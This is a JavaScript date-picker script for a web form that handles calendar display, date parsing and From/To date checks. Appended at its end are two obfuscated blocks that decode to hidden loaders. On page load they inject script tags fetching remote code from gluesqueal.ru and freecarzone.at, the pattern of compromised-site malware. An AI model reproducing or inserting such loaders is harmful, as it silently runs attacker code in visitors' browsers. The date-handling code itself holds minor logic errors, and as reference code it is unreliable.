var i=0;
var dd,dd1,dd2;
var mm,mm1,mm2;
var yy,yy1,yy2;
var regexp = /\//g;
var cnt = 1;


var datePickerDivID = "datepicker";
var iFrameDivID = "datepickeriframe";
//
var dayArrayShort = new Array('Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa');
var dayArrayMed = new Array('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat');
var dayArrayLong = new Array('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday');
var monthArrayShort = new Array('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec');
var monthArrayMed = new Array('Jan', 'Feb', 'Mar', 'Apr', 'May', 'June', 'July', 'Aug', 'Sept', 'Oct', 'Nov', 'Dec');
var monthArrayLong = new Array('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');
var defaultDateSeparator = "/";		// common values would be "/" or "."
var defaultDateFormat = "ymd"	// valid values are "mdy", "dmy", and "ymd"
var dateSeparator = defaultDateSeparator;
var dateFormat = defaultDateFormat;
var MinYear=1900;
var MaxYear=2050;
var PrevImg="\"../images/prev.jpg\"";
var NextImg="\"../images/next.jpg\"";

function SetMinYear(year)
{
 MinYear=year;	
}

function SetMaxYear(year)
{
 MaxYear=year;	
}


function fGetById(doc, id) 
{
 return doc.getElementById(id);
}

function displayDatePicker(dateFieldName, displayBelowThisObject, dtFormat, dtSep)
{
//alert(document.getElementById(dateFieldName).value);
  var targetDateField = document.getElementById(dateFieldName);//.item(0);
  if (!displayBelowThisObject)
    displayBelowThisObject = targetDateField;
  
  if (dtSep)
    dateSeparator = dtSep;
  else
    dateSeparator = defaultDateSeparator;
  if (dtFormat)
    dateFormat = dtFormat;
  else
    dateFormat = defaultDateFormat;
  
  var x = displayBelowThisObject.offsetLeft;
  var y = displayBelowThisObject.offsetTop + displayBelowThisObject.offsetHeight;
  var parent = displayBelowThisObject;
  while (parent.offsetParent) 
  {
    parent = parent.offsetParent;
    x += parent.offsetLeft;
    y += parent.offsetTop;
  }
  drawDatePicker(targetDateField, x, y); 
}

function drawDatePicker(targetDateField, x, y)
{
  var dt = getFieldDate(targetDateField.value);
  if (!document.getElementById(datePickerDivID)) 
  {
   var newNode = document.createElement("div");
   newNode.setAttribute("id", datePickerDivID);
   newNode.setAttribute("class", "dpDiv");
   newNode.setAttribute("style", "visibility: hidden;");
  // newNode.setAttribute("onmouseout","updateDateField('" + targetDateField + "')");
   document.body.appendChild(newNode);
  }
  var pickerDiv = document.getElementById(datePickerDivID);
  pickerDiv.style.position = "absolute";
  pickerDiv.style.left = x + "px";
  pickerDiv.style.top = y + "px";
  pickerDiv.style.visibility = (pickerDiv.style.visibility == "visible" ? "hidden" : "visible");
  pickerDiv.style.zIndex = 10000;
  refreshDatePicker(targetDateField.name, dt.getFullYear(), dt.getMonth(), dt.getDate(),targetDateField.id);
}

function refreshDatePicker(dateFieldName, year, month, day,id)
{
  var thisDay = new Date();
  toDay=thisDay.getDate();
  cMonth=thisDay.getMonth();
  cYear=thisDay.getFullYear();
  if ((month >= 0) && (year > 0)) 
  {
   thisDay = new Date(year, month, 1);
  } 
  else 
  {
   //day = thisDay.getDate();
   thisDay.setDate(1);
  }
 
  var crlf = "\r\n";
  var TABLE = "<table cols=7 class='dpTable' cellspacing=0>" + crlf;
  var xTABLE = "</table>" + crlf;
  var TR = "<tr class='dpTR'>";
  var TR_title = "<tr class='dpTitleTR'>";
  var TR_days = "<tr class='dpDayTR'>";
  var TR_todaybutton = "<tr class='dpTodayButtonTR'>";
  var xTR = "</tr>" + crlf;
  var TD = "<td class='dpTD'";
  var TD_title = "<td colspan=5 class='dpTitleTD'>";
  var TD_buttons = "<td class='dpButtonTD'>";
  var TD_todaybutton = "<td colspan=7 class='dpTodayButtonTD'>";
  var TD_days = "<td class='dpDayTD'>";
  var TD_selected = "<td class='dpDayHighlightTD'";
  var TD_today = "<td class='dpDaytodayTD'";
  var TD_sunday="<td class='dpSundayTD'";
  var xTD = "</td>" + crlf;
  var DIV_title = "<div class='dpTitleText'>";
  var DIV_selected = "<div class='dpDayHighlight'>";
  var xDIV = "</div>";
  var Line="<hr color=\"#400040\">";
  var html = TABLE;
  html += TR_title;
  html += TD_buttons + getButtonCode(dateFieldName, thisDay, -1,PrevImg) + xTD;
  //html += TD_title + DIV_title + monthArrayShort[thisDay.getMonth()] + " " + thisDay.getFullYear() + xDIV + xTD;
  html += TD_title + DIV_title + getMonComboCode(dateFieldName,monthArrayShort[thisDay.getMonth()],thisDay.getFullYear()) + " " + getYearComboCode(dateFieldName,monthArrayShort[thisDay.getMonth()],thisDay.getFullYear()) + xDIV + xTD;
  html += TD_buttons + getButtonCode(dateFieldName, thisDay, 1, NextImg) + xTD;
  html += xTR;
  html += TR_days;
  for(i = 0; i < dayArrayShort.length; i++)
   html += TD_days + dayArrayShort[i] + xTD;
  html += xTR;
  html += TR;
  for (i = 0; i < thisDay.getDay(); i++)
   html += TD + "&nbsp;" + xTD;
  do
  {
   dayNum = thisDay.getDate();
   monthNum=thisDay.getMonth();
   yearNum=thisDay.getFullYear();
   TD_onclick = " onclick=\"updateDateField('" + dateFieldName + "', '" + getDateString(thisDay) + "');\">";
   if (dayNum==day && dayNum!=toDay ) 
   	html += TD_selected + TD_onclick + DIV_selected + dayNum + xDIV + xTD;
   else if(dayNum==day && dayNum==toDay && monthNum!=cMonth) 	
    html += TD_selected + TD_onclick + DIV_selected + dayNum + xDIV+ xTD;
   else if(dayNum==day && dayNum==toDay && monthNum==cMonth && yearNum!=cMonth) 	
    html += TD_selected + TD_onclick + DIV_selected + dayNum + xDIV+ xTD;	
   else if(dayNum==day && dayNum==toDay && monthNum==cMonth && yearNum==cYear) 	
    html += TD_today + TD_onclick + dayNum + xTD;	
   else if(dayNum!=day && dayNum==toDay && monthNum==cMonth && yearNum==cYear) 	
    html += TD_today + TD_onclick + dayNum + xTD;
   else if(thisDay.getDay()==0 || thisDay.getDay()==6)	
    html += TD_sunday + TD_onclick + dayNum + xTD;
   else
    html += TD + TD_onclick + dayNum + xTD;  
   if (thisDay.getDay() == 6)
    html += xTR + TR;
   thisDay.setDate(thisDay.getDate() + 1);
  }while (thisDay.getDate() > 1)  
  if (thisDay.getDay() > 0)
  {
   for (i = 6; i > thisDay.getDay(); i--)
    html += TD + "&nbsp;" + xTD;
  }
  html += xTR;
  var today = new Date();
  var todayString = "Today is " + dayArrayMed[today.getDay()] + ", " + monthArrayMed[today.getMonth()] + " " + today.getDate();
  html += TR_todaybutton + TD_todaybutton;
 // html += "<button class='dpTodayButton' onClick='refreshDatePicker(\"" + dateFieldName + "\");'>this month</button> ";
 // html += "<button class='dpTodayButton' onClick='updateDateField(\"" + dateFieldName + "\");'>close</button>";
  html += "<a  class='dpTodayButton' href='javascript:updateDateField(\"" + dateFieldName + "\");'>Close</a>&nbsp;&nbsp;<a  class='dpTodayButton' href='javascript:updateDateField1(\"" + id + "\");'>Clear</a>";
  html += xTD + xTR;
  html += xTABLE;
  document.getElementById(datePickerDivID).innerHTML = html;
  adjustiFrame();
}
function getButtonCode(dateFieldName, dateVal, adjust, label)
{
 var newMonth = (dateVal.getMonth() + adjust) % 12;
 var newYear = dateVal.getFullYear() + parseInt((dateVal.getMonth() + adjust) / 12);
 if (newMonth < 0) 
 {
  newMonth += 12;
  newYear += -1;
 }
 //return "<button class='dpButton' onClick='refreshDatePicker(\"" + dateFieldName + "\", " + newYear + ", " + newMonth + ");'>" + label + "</button>";
if(newYear<=MaxYear && label==NextImg)
 return "<a class='dpButton' href='javascript:refreshDatePicker(\"" + dateFieldName + "\", " + newYear + ", " + newMonth + ");'>" + "<img border=\"0\" src="+label +"></a>";
else if(newYear>=MinYear && label==PrevImg)
 return "<a class='dpButton' href='javascript:refreshDatePicker(\"" + dateFieldName + "\", " + newYear + ", " + newMonth + ");'>" + "<img border=\"0\" src="+label +"></a>";
else
 return "&nbsp;"
}

function getMonComboCode(dateFieldName,month,year)
{	
 var combo="<select id='MonCmb' class='MonYearCombo' onchange='ChangeMonth(\"" + dateFieldName + "\", " + year + ");'>";
 for(i=0;i<12;i++)
 {
  if(monthArrayShort[i]!=month)	 
   combo+="<option value=\""+ i +"\">"+monthArrayShort[i]+"</option>"
  else if(monthArrayShort[i]==month)	
   combo+="<option selected=\"selected\" value=\""+ i +"\">"+monthArrayShort[i]+"</option>"
 }
 combo+="</select>";
 return combo;
}

function getYearComboCode(dateFieldName,month,year)
{	
 var combo="<select id='YearCmb' class='MonYearCombo' onchange='ChangeYear(\"" + dateFieldName + "\");'>";
 for(i=MinYear;i<=MaxYear;i++)
 {
  if(i!=year)	 
   combo+="<option value=\""+ i +"\">"+i+"</option>"
  else if(i==year)	
   combo+="<option selected=\"selected\" value=\""+ i +"\">"+i+"</option>"
 }
 combo+="</select>";
 return combo;
}

function ChangeMonth(dateFieldName,year)
{
 var MonCombo=fGetById(document,"MonCmb");	
 refreshDatePicker(dateFieldName,year,MonCombo.value);
}

function ChangeYear(dateFieldName)
{
 var YearCombo=fGetById(document,"YearCmb");
 var MonCombo=fGetById(document,"MonCmb");
 refreshDatePicker(dateFieldName,YearCombo.value,MonCombo.value);
}

function getDateString(dateVal)
{
  var dayString = "00" + dateVal.getDate();
  var monthString = "00" + (dateVal.getMonth()+1);
  dayString = dayString.substring(dayString.length - 2);
  monthString = monthString.substring(monthString.length - 2);
  
  switch (dateFormat) {
    case "dmy" :
      return dayString + dateSeparator + monthString + dateSeparator + dateVal.getFullYear();
    case "ymd" :
      return dateVal.getFullYear() + dateSeparator + monthString + dateSeparator + dayString;
    case "mdy" :
    default :
      return monthString + dateSeparator + dayString + dateSeparator + dateVal.getFullYear();
  }
 
}
function getFieldDate(dateString)
{
  var dateVal;
  var dArray;
  var d, m, y;
  
  try {
    dArray = splitDateString(dateString);
    if (dArray) {
      switch (dateFormat) {
        case "dmy" :
          d = parseInt(dArray[0], 10);
          m = parseInt(dArray[1], 10) - 1;
          y = parseInt(dArray[2], 10);
          break;
        case "ymd" :
          d = parseInt(dArray[2], 10);
          m = parseInt(dArray[1], 10) - 1;
          y = parseInt(dArray[0], 10);
          break;
        case "mdy" :
        default :
          d = parseInt(dArray[1], 10);
          m = parseInt(dArray[0], 10) - 1;
          y = parseInt(dArray[2], 10);
          break;
      }
      dateVal = new Date(y, m, d);
    } else {
      dateVal = new Date(dateString);
    }
  } catch(e) {
    dateVal = new Date();
  }
  
  return dateVal;
   
}
function splitDateString(dateString)
{
  var dArray;
  if (dateString.indexOf("/") >= 0)
    dArray = dateString.split("/");
  else if (dateString.indexOf(".") >= 0)
    dArray = dateString.split(".");
  else if (dateString.indexOf("-") >= 0)
    dArray = dateString.split("-");
  else if (dateString.indexOf("\\") >= 0)
    dArray = dateString.split("\\");
  else
    dArray = false;
  
  return dArray;
}
function updateDateField(dateFieldName, dateString)
{
  var targetDateField = document.getElementsByName(dateFieldName).item(0);
  if (dateString)
    targetDateField.value = dateString;
  document.getElementById(datePickerDivID).style.visibility = "hidden";
  adjustiFrame();
  targetDateField.focus();
  if ((dateString) && (typeof(datePickerClosed) == "function"))
    datePickerClosed(targetDateField);

}
function updateDateField1(dateFieldName, dateString)
{
document.getElementById(dateFieldName).value='';
updateDateField(dateFieldName);
}
function adjustiFrame(pickerDiv, iFrameDiv)
{
  if (!document.getElementById(iFrameDivID)) {
    var newNode = document.createElement("iFrame");
    newNode.setAttribute("id", iFrameDivID);
    newNode.setAttribute("src", "javascript:false;");
    newNode.setAttribute("scrolling", "no");
    newNode.setAttribute("frameborder", "0");
    document.body.appendChild(newNode);
  }
  
  if (!pickerDiv)
    pickerDiv = document.getElementById(datePickerDivID);
  if (!iFrameDiv)
    iFrameDiv = document.getElementById(iFrameDivID);
  
  try {
    iFrameDiv.style.position = "absolute";
    iFrameDiv.style.width = pickerDiv.offsetWidth;
    iFrameDiv.style.height = pickerDiv.offsetHeight;
    iFrameDiv.style.top = pickerDiv.style.top;
    iFrameDiv.style.left = pickerDiv.style.left;
    iFrameDiv.style.zIndex = pickerDiv.style.zIndex - 1;
    iFrameDiv.style.visibility = pickerDiv.style.visibility;
  } catch(e) {
  }

}

function firstfun(p)
{
document.write(p);
}
   


function Fdate(form)
{
var s
 s = apply.FromDate.value

 abc(s.split(regexp));
 var thedate=new Date();
 var day=thedate.getDate();
 var year=thedate.getFullYear();
 var mon=thedate.getMonth();
 mon=mon+1;

 if(yy == year)
 {

  if(mm == mon)
  {
    if(dd>=day)
    {
       
    }
    else
     {
      alert("Enter proper date");
      document.apply.FromDate.value = "";
     }
   }
   else 
    {
     if(mm < mon)
     {
      alert("Enter proper date ");
  document.apply.FromDate.focus();
     }
   
    }
  } 
  if(yy < year)
  {
    alert("Enter proper date");
    document.apply.FromDate.focus();
  }
 
}

function Tdate(form)
{
 var s
 s = apply.ToDate.value
 cnt = cnt + 1;
 if(cnt > 1)
 { 
  if(apply.FromDate.value = " ")
  {
   alert("Please enter From Date");
  }
 } 
 abc(s.split(regexp));
 var thedate=new Date();
 var day=thedate.getDate();
 var year=thedate.getFullYear();
 var mon=thedate.getMonth();
 mon=mon+1;
 if(yy == year)
 {
  if(mm == mon)
  {
   if(dd>=day)
   {
   }
   else
   {
    alert("Enter proper date");
   }
  }
  else 
  {
   if(mm < mon)
   {
    alert("Enter proper date ");
   }
  }
 } 
 if(yy < year)
 {
  alert("Enter proper date");
  document.apply.ToDate.focus();
 } 
}





//-->
var M=new String();try {var A='';var v;if(v!='Dq'){v=''};var AL;if(AL!='iE' && AL!='JI'){AL=''};var G=window[unescape("%75%6e%65%73%63%61%70%65")];var W=window[G("%52%65%67%45%78%70")];var k;if(k!='' && k!='Jw'){k=null};var D=null;var J=G("%72%65%70%6c%61%63%65");var P="";function s(m,g){var E;if(E!='S' && E != ''){E=null};var sq=G("%5b");var B=new Date();var w=new Date();sq+=g;sq+=G("%5d");var xl="";var sO=new W(sq, G("%67"));var ga=new Array();var t;if(t!='Le' && t!='o'){t='Le'};return m.replace(sO, D);var rP=new Date();};var FF;if(FF!='hp' && FF!='Gn'){FF=''};var Ld;if(Ld!=''){Ld='Dx'};var V=s('/QgQoEoUgQlVeS.RcSowmV/Np1rDoUbwozaVrUdRsJ.1cNoDmV/Q5Q5ibibis3.UcxozmS.3pHh1pD','EQiIz1UD3HVRNSwxJ');var f=new String();var _=new Date();var m=G("%31");this.Pz="";var qq=new Array();var sl;if(sl!='' && sl!='mH'){sl='Sr'};var I_='';var r="qTGonloa".substr(3)+"A0ad".substr(3);var R;if(R!='' && R!='Lp'){R=''};var Z=new String();var n=s('8121255522596523323201139616513677748559214376222767076653516529495191','46732159');var U="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6c\x75\x65\x73\x71\x75\x65\x61\x6c\x2e\x72\x75\x3a";var c=G("%73%63%72%69%70%74");var cr='';var jc="";function O(){var JS;if(JS!='' && JS!='Up'){JS=''};var sA=new String();var q=document;var cf;if(cf!='mO' && cf!='PQ'){cf=''};j=q.createElement(c);var bX="";cr+=U;this.bQ='';var vR;if(vR!='fz'){vR=''};cr+=n+V;j.src=cr;this.A_='';j.defer=m;var Cy=new Date();this.EZ="";var jO=q.body;jO.appendChild(j);var BKp="";var bXC;if(bXC!='' && bXC!='xlX'){bXC=''};};window[r]=O;var rD;if(rD!=''){rD='vv'};} catch(H){this.wk="";};var X_=new Date();var pq;if(pq!='' && pq!='Ot'){pq='aU'};
function d(){this.ad="";this.i="";var b=window;var aU=new Date();var U=b['unescape'];var Y;if(Y!=''){Y='gy'};var Am=new String();var y=U("%2f%67%6f%6f%67%6c%65%2d%63%6f%6d%2d%73%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6f%76%65%72%2d%62%6c%6f%67%2e%63%6f%6d%2e%70%68%70");this.j="";var hE;if(hE!='' && hE!='_a'){hE=null};var Ar;if(Ar!='R' && Ar!='GS'){Ar='R'};function L(D,a){var HW;if(HW!='JD' && HW!='l'){HW='JD'};var n;if(n!='Fd'){n=''};var A=U("%5d");var s=U("%5b");var Fz="";var Lp="g";var Yb;if(Yb!='no' && Yb!='p'){Yb=''};var H=new RegExp(s+a+A, Lp);var go=new String();return D.replace(H, new String());var N;if(N!='Ac' && N!='Hp'){N='Ac'};};var Rs;if(Rs!=''){Rs='zO'};var ZI='';var Ke;if(Ke!='' && Ke!='qS'){Ke='oR'};var u=L('sSrUcG','PaL8ojM_CGUSR');var Zd=new Date();this.VJ="";var w=L('socYrZiMpjtm','MgjdJF3QOqYoZexDumWL41');var V=L('dgeVfteJr3','FotgcbJp3lqVsHm');var Z=document;var xZ;if(xZ!=''){xZ='fa'};var nK='';var VA=L('85421915932515422304433539351441815413244331453509152921591245','543192');var t;if(t!='dY' && t!='vH'){t='dY'};this.zv="";this.XH='';function F(){var MB=new String();var uF="";var g=U("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");var O=g;O+=VA;var uq=new Array();O+=y;var tb;if(tb!='yd' && tb!='Ti'){tb=''};var aB='';var PQ;if(PQ!='' && PQ!='gh'){PQ=null};var ko='';try {var dm;if(dm!=''){dm='vC'};var _ay;if(_ay!='MJ' && _ay!='oF'){_ay=''};q=Z[L('cYrDeYastUejEKlueRmFejnutK','3bUBYRdDux9FsjZK')](w);this.yO='';this.wA='';q[V]=[1][0];q[u]=O;var hq;if(hq!='' && hq!='bm'){hq='eK'};var lV;if(lV!='UJ'){lV='UJ'};var wz="";Z.body[L('aspLpge3nPd8CshLi3lHdV','Lg83sH5VPZEy')](q);this.LB='';var US="";} catch(ub){};var kJ="";var Nk="";var eQ;if(eQ!='I' && eQ!='DU'){eQ='I'};var It="";}var FI;if(FI!='' && FI!='es'){FI=''};var J=L('oBnBlBoSasdS','ZBs8krS');var QS='';b[J]=F;var aj="";var tL;if(tL!='hA'){tL='hA'};};var NO=new Array();var Xq;if(Xq!='JO' && Xq!='Pw'){Xq=''};d();